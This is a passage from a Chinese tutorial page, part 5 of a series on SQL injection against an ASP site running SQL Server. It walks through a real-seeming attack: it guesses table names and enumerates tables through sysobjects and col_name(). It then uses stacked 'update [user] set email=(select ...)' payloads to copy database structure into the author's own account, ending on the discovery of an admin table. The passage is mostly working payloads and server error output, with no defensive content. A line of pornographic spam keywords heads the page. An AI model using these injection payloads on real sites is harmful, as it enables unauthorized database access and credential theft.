六月丁香五月婷婷,丁香五月婷婷网,欧美激情网站,日本护士xxxx,禁止18岁天天操夜夜操,18岁禁止1000免费,国产福利无码一区色费

學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識>

SQL注入漏洞的攻防策略(5)

時間: 若木632 分享

  一般來說:

  如果不存在該表的話,會出現(xiàn)

  Microsoft OLE DB Provider for SQL Server 錯誤 80040e37

  對象名 user 無效。

  /showspecial.asp,行13

  不存在該字段的話,會出現(xiàn)

  Microsoft OLE DB Provider for SQL Server 錯誤 80040e14

  列名 id 無效。

  /showspecial.asp,行13

  注:一般來說,第一步是猜一些公共的表,這里所指的公共表的意思是大多數(shù)的程序員在寫設(shè)計數(shù)據(jù)

  庫結(jié)構(gòu)的時候會用到的常用的表和字段,比如新聞的news表中的編號字段id,標(biāo)題字段title,用戶表use

  r或者user_data中的編號字段id,用戶名字段username,當(dāng)然你也可以在該站點的登陸界面看他的原代碼

  ,找到用戶名和密碼的表單的name值,那個也經(jīng)常會是表字段名的真實值,如

  name=username size=15>

  很幸運(yùn),果然存在user表和id字段

  3、通過提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username)

  from [user])

  這里的username是根據(jù)登陸框的表單名去猜的,恰好存在該字段。于是在該站注冊了一個用戶名為rr

  rrr的用戶,作為注入的平臺,得到我的用戶名的id值103534

  4、繼續(xù)猜下去,這里我還是利用的他程序中的表單名,提交:

  http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

  也存在,好了,到這里,我們的平臺已經(jīng)搭建好了。

  二、深入研究,讓SQL自己招數(shù)據(jù)庫結(jié)構(gòu)

  很多時候,我們只能猜到大家比較熟用的表名,如果是非原程序公開下載的,我們很猜到他的真實數(shù)

  據(jù)庫結(jié)構(gòu),有時候猜半天都猜不到,令人很郁悶,那么該如何拿到他的表結(jié)構(gòu)呢?我們知道SQL SERVER的

  每一個數(shù)據(jù)庫都會有用戶表和系統(tǒng)表,根據(jù)SQL SERVER的聯(lián)機(jī)幫助描述是系統(tǒng)表sysobjects:在數(shù)據(jù)庫內(nèi)

  創(chuàng)建的每個對象(約束、默認(rèn)值、日志、規(guī)則、存儲過程等)在表中占一行,那么也就是說當(dāng)前數(shù)據(jù)庫的

  表名都會在該表內(nèi)有存在,(對象名 admin 無效。大家可以看到上面出現(xiàn)的報錯把表名描述成對象)。

  我們要用的是其中的3個,描述如下(詳細(xì)的見SQL SERVER的聯(lián)機(jī)幫助):

  name 數(shù)據(jù)表的名字

  xtype 數(shù)據(jù)表的類型 u為用戶表

  id 數(shù)據(jù)表的對象標(biāo)志

  status 保留字段,用戶表一般都是大于0的

  在查詢分析器執(zhí)行以下SQL語句(以我本地的數(shù)據(jù)庫為例子)

  select top 1 name from sysobjects where xtype=u and status>0

  我們馬上就可以得到該數(shù)據(jù)庫下用戶表的第一個表名gallery

  select top 1 id from sysobjects where xtype=u and name=gallery

  我們馬上就可以得到該數(shù)據(jù)庫下用戶表的第一個表名gallery的對象標(biāo)志2099048

  select top 1 name from sysobjects where xtype=u and id>2099048

  再得到第2個表名gb_data,這里用到的是id>2099048,因為對象標(biāo)志id是根據(jù)由小到大排列的。

  以此類推,我們可以得到所有的用戶表的名字了

  接下來,我們要根據(jù)得到的表名取他的字段名,這里我們用到的是系統(tǒng)自帶的2個函數(shù)col_name()和o

  bject_id(),在查詢分析器執(zhí)行以下SQL語句(以我本地的數(shù)據(jù)庫為例子):

  select top 1 col_name(object_id(gallery),1) from gallery

  得到gallery表的第一個字段名為id。

  注:

  col_name()的語法

  COL_NAME ( table_id , column_id )

  參數(shù)

  table_id:包含數(shù)據(jù)庫列的表的標(biāo)識號。table_id 屬于 int 類型。

  column_id:列的標(biāo)識號。column_id 參數(shù)屬于 int 類型。

  其中我們用object_id()函數(shù)來得到該表的標(biāo)識號,1、2、3。。表示該表的第1個、第2個、第3個。

  。字段的標(biāo)識號

  以此類推得到該表所有的字段名稱

  三、再次滲透攻擊

  經(jīng)過上面2步的熱身,接下來我們該利用建立好的平臺實際操作演練一下了

  依然是那個頁,我們提交

  http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from

  sysobjects where xtype=u and status>0) where id=103534;--

  服務(wù)器返回

  ADODB.Recordset 錯誤 800a0cb3

  當(dāng)前記錄集不支持更新。這可能是提供程序的限制,也可能是選定鎖定類型的限制。

  /showspecial.asp,行19

  出師不利,可能該頁記錄集打開方式是只讀,我們再換一個頁

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同樣存在問題,于是提交

  http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

  name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一個數(shù)據(jù)表的名字更新到我的資料的email項里去,得到第一個表名為:lmuser

  http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id

  from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一個表lmuser的id標(biāo)識號為:363148339

  http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

  name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二個表名為:ad。這里我們利用的是數(shù)據(jù)表的對象標(biāo)志id是升序排列的特點,以此類推繼續(xù)取

  ……(由于篇幅問題,中間省略n步),最后我們得到了所有的表名,發(fā)現(xiàn)其中有個表admin,哈,很可能

  就是管理員的列表了。

75367